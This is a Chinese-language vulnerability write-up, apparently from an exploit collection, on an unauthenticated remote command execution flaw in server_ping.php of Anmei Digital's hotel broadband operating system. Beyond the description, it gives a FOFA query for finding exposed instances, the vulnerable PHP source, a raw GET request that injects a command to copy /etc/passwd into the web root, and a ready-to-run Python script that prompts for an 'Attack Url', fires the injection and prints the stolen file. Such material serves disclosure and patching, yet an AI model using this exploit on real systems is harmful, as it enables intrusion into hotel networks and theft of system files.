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安美数字 酒店宽带运营系统 server_ping.php 远程命令执行漏洞

漏洞描述

安美数字 酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞，漏洞文件中ip参数未过滤造成命令执行

漏洞影响

安美数字 酒店宽带运营系统

FOFA

"酒店宽带运营"

漏洞复现

登录页面如下

存在漏洞的文件为 server_ping.php

<?
if (!isset($ip) || $ip == "" || !isset($id) || $id == "") exit;

$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");
$getString = "";
if ($fp) {
    while (($line = fgets($fp, 512))) {
        $getString .= trim($line);
    }
    pclose($fp);

}

if (strstr($getString, "2 received, 0%")) {
    echo "<html><body><script language=\"javascript\">\n";
    echo "parent.doTestResult('$id', 'ok');\n";
    echo "</script></body></html>\n";
} else {
    echo "<html><body><script language=\"javascript\">\n";
    echo "parent.doTestResult('$id', 'no');\n";
    echo "</script></body></html>\n";
}
?>

漏洞位置为

$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");

GET传入 $ip参数 后直接命令执行，并且文件无权限要求

请求包为

GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pq.txt&id=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

漏洞POC

#!/usr/bin/python3
#-*- coding:utf-8 -*-

import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def POC_1(target_url):
    vuln_url = target_url + "/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../pq.txt&id=1"
    headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
                "Content-Type": "application/x-www-form-urlencoded",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
        print("\033[36m[o] 正在执行 cat /etc/passwd>../../pq.txt \033[0m".format(target_url))
        if "parent" in response.text and response.status_code == 200:
            vuln_url = target_url + "/pq.txt"
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
                "Content-Type": "application/x-www-form-urlencoded",
            }
            response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
            if "root:" in response.text:
                print("\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m".format(response.text))
            else:
                print("\033[31m[x] 请求失败:{} \033[0m")
        else:
            print("\033[31m[x] 请求失败 \033[0m")
    except Exception as e:
        print("\033[31m[x] 请求失败:{} \033[0m".format(e))
        sys.exit(0)

#
if __name__ == '__main__':
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    POC_1(target_url)